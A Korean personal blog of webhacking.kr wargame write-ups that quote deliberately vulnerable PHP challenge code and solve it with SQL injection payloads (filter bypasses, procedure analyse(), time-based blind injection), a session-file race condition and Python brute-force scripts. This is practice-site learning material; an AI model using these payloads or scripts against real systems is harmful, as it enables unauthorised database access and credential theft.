늘모자란, 개발

늘모자란, 개발


service에 들어가면 수료증이라고 하나 나온다. 허무하다.........ㅋㅋㅋ

온전히 내 힘만으로 푼건 아니라 좀 부끄럽네.... (거의.. 아니 많이... 검색에 의존했다.. 힌트도 많이 보고 ㅠㅠ)
webhacking.kr은 나온지도 좀 된 워게임사이트인데 공부랍시고 하는 내가 이렇게 고전한것도 좀 부끄러운것 같기도하고...
2016/04/04 02:08 2016/04/04 02:08
현재 webhacking.kr의 마지막 문제. 62번부터는 없다.
그리고 화면에도 아무것도 없다. ㅡㅡ

<?

echo("<a href=index_lolll.phps>source</a>");

if(!$_GET[id]) $_GET[id]="guest";

echo("<html><head><title>Challenge 61</title></head><body>");

if(eregi("\(|\)|union|select|challenge|from|,|by|\.",$_GET[id])) exit("Access Denied");
if(strlen($_GET[id])>18) exit("Access Denied");

$q=@mysql_fetch_array(mysql_query("select $_GET[id] from c_61 order by id desc limit 1"));

echo("<b>$q[id]</b><br>");

if($q[id]=="admin") @clear();

echo("</body></html>");

?>


$_GET['id']가 guest가 아니면 강제로 guest로 만드는데, 회피해서 admin을 select하게 만들어야 한다.
그리고 길이제한도 17자까지 허용..

근데 위치가 좀 이상하다. where에 있는게 아니라 컬럼을 셀렉트 하고 있다.
당연히 id를 셀렉트해야하는게 아닌가? $_GET[id]값에 id라고 적어넣으니 zombie라고 리턴되었다.
다시 보니 limit1을 하고 있는데 select에서 row를 좀 땡겨서 셀렉트 할 수 있다면 해결되는 문제로 생각되었다.

그래서 찾아봤더니 변수를 선언해서 숫자에 +1 해서 올리는거외엔 답이 없었다 ㅡㅡ

결국 다른 방법을 생각해봐야 했는데, 어차피 id라는 컬럼안에 admin만 들어가 있으면 되는 것 같다.
CHAR은 필터안되고 있으나 글자수제한도 있고, ()를 쓸수가 없다. 그럼 hex값으로 변환을 하고, 컬럼이름을 as id를 붙여주면 어떨까?

0x61646d696e as id

해결..
2016/04/04 02:05 2016/04/04 02:05
들어가면 들어가자마자 Access Denied가 반겨준다.

<?
sleep(1);

if(eregi("[0-9]",$_COOKIE[PHPSESSID])) exit("Access Denied<br><a href=index.phps>index.phps</a>");

if($_GET[mode]=="auth")
{
echo("Auth~<br>");
    $f=@file("readme/$_SESSION[id].txt");
    for($i=0;$i<=strlen($f);$i++)
        {
        $result.=$f[$i];
        }
    if(eregi("$_SESSION[id]",$result))
    {
    echo("Done!");
    @unlink("readme/$_SESSION[id].txt");
    @clear();
    exit();
    }
}


$f=@fopen("readme/$_SESSION[id].txt","w");
@fwrite($f,"$_SESSION[id]");
@fclose($f);

if($_SERVER[REMOTE_ADDR]!="127.0.0.1")
{
sleep(1);
@unlink("readme/$_SESSION[id].txt");
}

?>


Sleep 이 있는걸 보아 exec time을 또 재야될 삘이다.
PHPSESSID에 0-9가 있으면 디나이라는데 이건 진짜 말도 안된다. 어떻게 세션에 숫자가 없을 수가 있지 하는 생각을 가지며 일단은.. 차분히 생각을 해보자..

잘보면 호스트가 아닐 경우에 1초간 기다렸다가 session[id].txt를 지운다고 되어 있다. 1초보다 내가 빨리 리퀘스트 주면 되지 않을까?
지워지기 전에 읽게 하면 나의 승리인것 같다.

브라우저로 빨리 쏘게 하고 싶은데 페이지 자체 sleep 이 있기때문에,

일단 쿠키의 PHPSESSID를 aaaaaaaaaaaaaaaaaa로 전부 수정했다.
그리고 인증을 딴상태에서 python script를 계속 해당페이지를 호출하게 해놓고,
다시 쿠키의 PHPSESSID를 bbbbbbbbbbbbbbbbbb로 바꾸고 브라우저로 들어가서 auth를 호출하게 했다.

Auth~<br>Done!<script>alert('Congratulation!');</script><center><h1><br><br><hr>
<font color=gray>You have cleared the 60 problems.</font><br><br><font color=gre
en><b>Score + 300</b></font><br><hr></h1></center>


개인적으로 이 문제에 대한 설명은 이 홈페이지가 가장 잘 되어 있는 것 같다.
2016/04/04 01:49 2016/04/04 01:49


가입을 시키고, admin으로 로그인해야되는 문제일것 같지만 소스를 보자.


<?

if($_POST[lid] && $_POST[lphone])
{
$q=@mysql_fetch_array(mysql_query("select id,lv from c59 where id='$_POST[lid]' and phone='$_POST[lphone]'"));

if($q[id])
{

echo("id : $q[id]<br>lv : $q[lv]<br><br>");

if($q[lv]=="admin")
{
@mysql_query("delete from c59");
@clear();
}

echo("<br><a href=index.php>back</a>");
exit();
}

}


if($_POST[id] && $_POST[phone])
{
if(strlen($_POST[phone])>=20) exit("Access Denied");
if(eregi("admin",$_POST[id])) exit("Access Denied");
if(eregi("admin|0x|#|hex|char|ascii|ord|from|select|union",$_POST[phone])) exit("Access Denied");

@mysql_query("insert into c59 values('$_POST[id]',$_POST[phone],'guest')");
}

?>


join은 id,phone이고,
login은 lid, lphone이다.

가입시엔 admin이라고 적어서 내는것도 안되고, CHAR와 헥스, 아스키(ascii,ord)를 쓸수가 없다.
admin으로 끼워넣을 생각하지 말라는것 같다.
그럼 요렇게는 안될까? lid에는 필터링이 상대적으로 빈약하기때문에 로그인쿼리에서 INSERT를 해서 admin으로 넣는것이다

내가 생각했던 쿼리는 요거다.

"select id,lv from c59 where id=''; insert  into c59 values(CHAR(97),CHAR(97),CHAR(97,100,109,105,110)); #$_POST[lid]' and phone='$_POST[lphone]'"


올리는 이유가 뭐냐고? 안되기 때문이다... ㅠㅠ 접근은 괜찮게 한것 같은데...
어쨌든 내생각으로 내린 결론은 ' 가 차단되고 있는것 같다. 결국 정공으로 회원가입시키고 돌파해야하는 방법밖에 없는 것 같다.

id는 ''가 있고 phone이 없으니 phone을 노리자. 아이디에 admin을 하는건 안되니 phone에다 넣고 주석처리 해보자.

문자열 함수 읽다가 REPLACE가 있어서 이렇게 시도 해보기로 했다
'1',REPLACE('zdmin','z','a') --


뭐 어디 걸리는데는 전혀 없는데, 길이에서 걸린다. 20자 제한 ㅡㅡ
저렇게만 해도 31자. 문제가 심각하다. 줄인다고 줄여봤지만 28자가 한계.. 8자를 더 지워야한다. 그러려면 인자 한개만으로 문자열 필터를 통과해야하는데, 아스키를 제외하고 인자를 한개만 받고 문자열을 어떻게 할 함수는 한개밖에 없다. REVERSE...

축약해서 이렇게 만들어봤다. 이러면 정확히 20자!라고 좋아했는데 20자도 필터링에 걸린다 하......

1,reverse('nimda')--


하여튼 이대론 할 수 없다. 다른 방법을 찾아보자.....
찾다 찾다 이런걸 발견했다 컬럼이름에 쓴걸 고대로 변수처럼 쓸수 있다는것!!!
뭐 정확하진 않았지만 해볼 가치가 있었다.

이러면 아이디에 nimda를 적어주고, reverse필드에는 id라고만 적어주면 된다. 고쳐보자.

1,reverse(id));-- 


짧다. (뒤에 띄어쓰기도 적어줘야한다)
문제 해결!


2016/04/04 01:01 2016/04/04 01:01


오마이갓 미친..
제록스 연구소에서 처음 GUI를 맛본 스티브 잡스가 저렇게 말했을게 틀림없다. 말이 안된다. 첨에 보고 3D인줄알았다.

소스를 보면 정말 별게 없다. kk라는 script가 로드되고 있을뿐.
소스를 보면 근데 더 별거 없다.


kk=document.URL;
kk=kk.substr(10,4);


근데 도대체 저 휘황찬란한 플래쉬는 어디서 나타난걸까?
세상에 마법이란 없다. 다시 kk.js를 보니까 진짜 어이없게 100번째 줄(--)에서 kk2.js를 로드하고 있다.
kk의 이름은 최종적으로 hackme.swf가 된다. 플래시의 이름이 밝혀진것인데..

이름이 아주 재수가 없다. hackme.swf..
플래쉬는 decompiler가 존재한다. 얘를 디컴파일하면 뭐라도 나오겠으나 이녀석은 150점짜리 문제. 과연 디컴파일러까지 받아서 처리하라고 하진 않았을 것 같았다. 그리고 일반 문자열들은 깨져도 아스키코드이기때문에 분간이 가능하다. 왜, exe파일 메모장에 안넣어본 사람 없을 것 같은데.(this programe can not ....)

여튼 까보면 식별할 수 있는 글자가 몇개 없다. 간단히 패스..
2016/04/04 00:08 2016/04/04 00:08


뭔가 되게 많다.
역대 버튼중에 제일 많이 달린것 같다


<?
$secret_key="????";

if(time()>1309064400) exit("오후 2시에 공개됩니다.");

if($_POST[pw])
{

if($_POST[pw]==$secret_key)
{
mysql_query("delete from challenge57msg");
@solve();
exit();
}

}


if($_GET[msg] && $_GET[se])
{
if(eregi("from|union|select|and|or|not|&|\||benchmark",$_GET[se])) exit("Access Denied");

mysql_query("insert into challenge57msg(id,msg,pw,op) values('$_SESSION[id]','$_GET[msg]','$secret_key',$_GET[se])");
echo("Done<br><br>");
}

?>


pw가 $secret_key와 일치하면 패스.. 간단하다.
메세지와 se를 둘다 받아야되는데 특이한것이 있다면 SE에만 필터링이 되있다. msg에만 뭘 넣어도 자신있다 이런말인가?
일단 곰곰히 생각해보니 인젝션을 걸기위해서 제일 끝에 se를 이용하라는 말 같은데, 제약이 없는 msg를 이용하면 훨씬안편한가?

hi','hi all',1); #

이런식으로 만들어서 secret은 1로 주고 인젝션을 걸려고 했으나 응답이 돌아오지 않았다.... 아무 필터 안하는데는 이유가 있나보다ㅠㅠ
결국 message에는 아무값이나 주기로 하고 se에 인젝션을 걸기로 해본다

se는 or도 필터되어있고, ||도 필터되어 있다. and도 필터되어 있으나 &&는 필터되어있지 않다. && 1=1 을 걸어주니 Done이 나온다.
이제 이걸로 뭘 해봐야겠다 싶었는데, 가만 생각해보니 INSERT쿼리만 있어서 결과가 리턴되지 않는다 ㅡㅡ Done만으로는 결과를 알아낼 수가 없다.select도 필터되어있고, union도 필터되어 있다. 결과를 얻을 수단이 없다.

다시 문제를 보자. 필터중에 뜬금없이 benchmark가 있다.
sql injection no result benchmark 따위로 검색을 하면 time based sql injection이라는 글을 발견할 수 있다.

예시에는 이렇게 적혀있다.
SELECT * FROM products WHERE id=1-IF(MID(VERSION(),1,1) = '5', SLEEP(15), 0)


if를 이용해 true일땐 쉬게 하고 아니면 0을 찍게 한다는걸까?
일단 시키는대로 한번 돌려보자. 인젝션 키워드를 넣고 돌려보았으나 달라지는걸 알질 못했다. 내가 SLEEP을 이해를 잘 못했기 때문인데..
SLEEP을 걸면 db가 말그대로 2초 멈춘다. 페이지 지연이 발생한다는것이다.

고로 request를 주고, 걸리는 시간을 파악해야했다. 옛날에 컴퓨터 CPU소리듣고 암호맞춘다는거 이 후로 진짜 뜬금없다고 생각했다. 휴..

이런느낌이다.
#!/usr/bin/env python
# -*- coding: utf8 -*-
   
import urllib, urllib2, time
   
sess = ""
  
headers = {'Host': 'webhacking.kr',
           'Cookie': "PHPSESSID={}".format(sess)
          }
pw = ''
for j in range(32,132):
    url = 'http://webhacking.kr/challenge/web/web-34/index.php?msg=m&se=if(substr(pw,1,1)={},sleep(2),0)'.format(hex(j))
    req = urllib2.Request(url, '', headers)
    start_time = time.time()
    response = urllib2.urlopen(req).read()
    time = time.time() - start_time

    print time, chr(j)


이렇게 하면

0.100000143051 
0.108999967575 
0.104000091553 
0.0979998111725 
0.0980000495911 
0.101999998093 
0.0970001220703 
0.115999937057 
2.10299992561 
0.113000154495 
0.105000019073 
0.101999998093 


명백히 시간이 차이나는 친구들이 있다. 이걸 TRUE로 쓰면 된다. length는 알아내기 귀찮으니 그냥 적당히 자릿수를 설정해서 돌려보자.
힌트를 주자면 좀 짧다. 너무 자릿수를 길게 설정할 필요는 없다. 얻은 키로 secret key를 넣어주면 문제를 해결한다.
2016/04/03 23:56 2016/04/03 23:56

게시판이다.
나의 권한은 지금 guest라서, secret이 0으로 설정된 admin의 글을 누르면 Access가 Denied된다
근데 밑에 search가 있다. 요것이 무엇이냐, 검색쿼리가 월권해서 비밀글을 무시하고 보여주는 그런 취약점을 의미하는 모양이다.
생각은 그렇게하지만 실천하는게 문제니까.. 일단 좀 둘러보자

raw엔 별다른게 없다. 컬럼명을 알아내볼까해서 procedure analyse() 를 해볼까 했는데 아닌것 같다

어떤식으로 검색이 이루어지나 간을 보자.
우선 id도 검색이 되나 해서 g, gu, guest 로 검색을 해봤는데 하나도 매치되지 않는다.

subject에만 해당되는것 같은데, hi나 i~로 검색해도 나온다. 근데 이상하게 h로 검색하면 둘다 나온다. 왜지?
그리고 hi% 이렇게 검색해도 다 나 검색되었다. 아마 검색을 like로 수행하고 있는것 같긴하다.
그리고 아무래도 contents까지 검색이 되는 모양이다.

그러니까, admin이 작성한 readme라는 글에도 h라는 단어가 있다는 말이겠다.
그래서 한글자씩 검색을 하는 코드를 만들어 돌려봤더니 다음 값이 나왔다

hkpHKP0.%_


요렇게 값이 나온다. %랑 _는 그렇다고 쳐도 &는 왜 있는지 모르겠다.
뭐가 되게 많다. 이중에  내용을 알아야 될터이니..

그래서 대문자는 그냥 case가 정확하지 않아서 나온걸테니 소문자만 뽑고, .도 넣어서 리스트를 만들었다
그리고 순열을 만들어서 경우의 수를 뽑아보았다

python itertools의 permutation을 사용했는데
대략 요런식으로 리스트가 나온다.

[('h', 'k', 'p', '.'), ('h', 'k', '.', 'p'), ('h', 'p', 'k', '.'), ('h', 'p', '.', 'k'), ('h', '.', 'k', 'p'), ('h', '.', 'p', 'k'), ('k', 'h', 'p', '.'), ('k', 'h', '.', 'p'), ('k', 'p', 'h', '.'), ('k', 'p', '.', 'h'), ('k', '.', 'h', 'p'), ('k', '.', 'p', 'h'), ('p', 'h', 'k', '.'), ('p', 'h', '.', 'k'), ('p', 'k', 'h', '.'), ('p', 'k', '.', 'h'), ('p', '.', 'h', 'k'), ('p', '.', 'k', 'h'), ('.', 'h', 'k', 'p'), ('.', 'h', 'p', 'k'), ('.', 'k', 'h', 'p'), ('.', 'k', 'p', 'h'), ('.', 'p', 'h', 'k'), ('.', 'p', 'k', 'h')]


순서대로 한개씩 넣어본다.
이렇게 푸는건 아니겠지만 뭔가 하나가 걸렸다

('k', '.', 'p', 'h')

아니 얘 생긴게 ... k.ph 란다. k.php를 의미하는게 아닐까? k.php를 넣고 검색해봤다. 나온다.
그럼 k의 앞이나 뒤에 하나씩 붙는것 같은데..
hkp중에 또 몇개가 붙을지 돌려본다.

음, 답이 나왔다.
아무래도 뒷걸음치다가 뭐 잡은 격이 된것 같아 좀.. 찝찝한걸........

2016/04/03 01:09 2016/04/03 01:09

IE에서 정상 동작한다. 안움직인다

게임같이 보이는데 사실 게임이 중요한게 아니다.
Score와 x,y가 계속 쓰여지는데 이값은 GAME OVER 창이 뜨면서 점수표로 보내진다.
이걸 조작해서 내 점수를 상위에 올리는게 목표라 할 수 있겠다.

랭크테이블은 이렇게 생겼는데, 아래에 주석으로 힌트가 기재되어 있다

<!--

hint

rank table
====================
ip ( = id )
score
**password** --> small letter
====================

-->


아직까지는 뭘 어케 하는지 모르겠다.
GET의 score에 점수를 넣으면 해당 점수가 조회되는데, 점수를 대강 적고 or 1=1을 해보니 localhost가 나왔다.

그래서
http://webhacking.kr/challenge/web/web-31/rank.php?score=48851132%20or%20substr%28password,1,1%29=a

를 날려보니 no hack이 날아왔다.

substr은 필터링되있나보다. MID로 해보려니까 얘도 필터링 되있다 left, right은 된다.
그럼 이런식으로 하면 되지 않을까?

right(left(password,1),1)


이렇게 하면 left가 자르는값에서 right가 항상 땡겨오니 최신값을 비교할 수 있을 것 같았다. no hack도 안나오고 한번 돌려보기로 한다
안된다. 왜 안될까, 근데 생각해보니, 컬럼명이 애초에 password가 아닐 수 있다는 생각을 했다. 우린 select도 안하고 테이블 컬럼을 땡기는걸 했지 않나.

힌트에 의하면 password는 3번째 컬럼에 있다. limit가 되냐? 된다.

0 limit 2, 1 procedure analyse()


기가맥힌 패스워드 컬럼이 나온다. 어이가 없어서 잠시 벙쪘지만 다시 해보도록 하자.

http://webhacking.kr/challenge/web/web-31/rank.php?score=2147483647%20or%20right(left(컬럼,{}),1)={}


이렇게 구성한다. 2147483647에 해당하는 아이디 대신에 localhost가 나온다면 해당값이 바로 매치된다고 할 수 있다.
원래는 length도 구하고 해야되는데 이제 끝이 보이니 빨리 끝내고 싶은 마음에 그냥 33자리로 돌렸다..

어쨌뜬 그러면 아주 긴~~~ 녀석이 하나 나온다. 몇자린지는 안알려준다.
그리고 힌트의 small letter이라고 적힌건 뻥이다. 특문도 있고 숫자도 있다 ㅡㅡ


2016/04/03 01:01 2016/04/03 01:01
들어가면 Password is 라고 적혀있는데 얼마 지나지 않아 한글자씩 계속 출력한다. 멈출수도 없고 굉장히 빡친다.
콘솔을 열어보면 0부터 32까지 숫자가 카운팅되면서 계속 호출되고 있다. 날렵한 동체시력이 있다면 다 기록하고 문제를 넘어갔겠지만 난 그렇지 않기에... ㅠㅠ

<script>
function run(){
  if(window.ActiveXObject){
   try {
    return new ActiveXObject('Msxml2.XMLHTTP');
   } catch (e) {
    try {
     return new ActiveXObject('Microsoft.XMLHTTP');
    } catch (e) {
     return null;
    }
   }
  }else if(window.XMLHttpRequest){
   return new XMLHttpRequest();
 
  }else{
   return null;
  }
 }

x=run();

function answer(i)
{
x.open('GET','?m='+i,false);
x.send(null);
aview.innerHTML=x.responseText;
i++;
if(x.responseText) setTimeout("answer("+i+")",100);
if(x.responseText=="") aview.innerHTML="?";
}

setTimeout("answer(0)",10000);

</script>



근데 이게 골때리는게, response를 읽어보니 그냥 한글자 적혀있다. 얘를 모으면 패스워드가 될텐데..
그래서 0씩 콜해보니까 대답대신 ?가 나왔다.
레퍼러를 체크하는것 같았다.
그래서 헤더에 레퍼러를 추가해주니 정상적으로 패스워드가 반환되었다
사실 js를 푸는 문제겠지만... 100점짜린데 귀찮았다...


#!/usr/bin/env python
# -*- coding: utf8 -*-
 
import urllib, urllib2, re
 
sess = ""

headers = {'Host': 'webhacking.kr',
           'Cookie': "PHPSESSID={}".format(sess),
           'Referer': 'http://webhacking.kr/challenge/bonus/bonus-14/'
          }
pw = ''
for i in range(0,33):
    url = 'http://webhacking.kr/challenge/bonus/bonus-14/?m={}'.format(i)
    req = urllib2.Request(url, '', headers)
    response = urllib2.urlopen(req).read()
    pw = pw + str(response)

print pw
2016/04/02 22:32 2016/04/02 22:32
문제에 들어오면 hello world 딸랑 하나 있다

<html>
<head>
<title>Challenge 53</title>
</head>
<body>
hello world
<br><br><br>
<?
if(time()<1260615600) exit();

$hidden_table="????";

if($_GET[answer]==$hidden_table)
{
@solve();
exit();
}

if(eregi("union",$_GET[val])) exit();
if(eregi("select",$_GET[val])) exit();
if(eregi("from",$_GET[val])) exit();
if(eregi("/",$_GET[val])) exit();
if(eregi("\*",$_GET[val])) exit();
if(eregi("#",$_GET[val])) exit();
if(eregi("-",$_GET[val])) exit();
if(eregi(",",$_GET[val])) exit();
if(eregi("=",$_GET[val])) exit();
if(eregi("!",$_GET[val])) exit();
if(eregi("\|",$_GET[val])) exit();
if(eregi("by",$_GET[val])) exit();


$f=@mysql_fetch_array(mysql_query("select test1 from $hidden_table where test2=$_GET[val]"));

echo($f[0]);

if($f)
{
echo("<br><br><form method=get action=index.php>challenge53 TABLE NAME : <input type=text name=answer size=50><input type=submit></form>");
}

?>

<!-- index.phps -->
</body>
</html>


가장 위에 있는 answer는 최종 정답이고, val을 이용해 일단 들어가야되는데 이건 or이 막혀있지 않아서 간단히 패스할 수 있다.

2%20or%201


이제 여기서 부터 시작이다.
(밑에 사진 올리고 나서 알아챘지만 그냥 1,2,3,4 입력해도 나온다..........)



옛날에 컬럼이름은 어떻게 알아내는가?에 대해 글을 쓴적이 있는데 결론은 information.schema 에 접근을 못하면 못알아낸다로 결론을 냈었다.
심지어 이 문제에서는 select도 못하고, union도 못하며, from도 못한다. 진짜 어떻게 하라는건지 감도 못잡고 있다가 결국 검색찬스를 썼다.

결론부터 말하자면 이녀석이다.

procedure analyse()


난 본적도 없는데 검색해보면 인젝션 기법중 하나라고 많이 나오는데 여기까지 닿기가 정말 어렵다. 도저히 모르겠다.
결국 한번 돌려보고 결과를 얻어봤는데, 컬럼들이 전부 나오고 최대길이의 row, 최적화된 length , type을 추천해준다.
당연히 테이블명을 얻을 수 있는건 일도 아닌것이다. 다 사용하고 있는 DB라 보여줄순 없네. 여튼 유용하게 쓰일만한 기법이다.

여튼 val에 들어갈 쿼리를 이렇게 꾸민다.

1 procedure analyse() #


그럼 테이블명을 뱉는다. 출력을 [0]만 하니까 첫번째 컬럼만 출력하지만 이걸로도 테이블 이름은 충분히 알 수 있다.
테이블 명을 넣어주면 패스..


2016/04/02 16:52 2016/04/02 16:52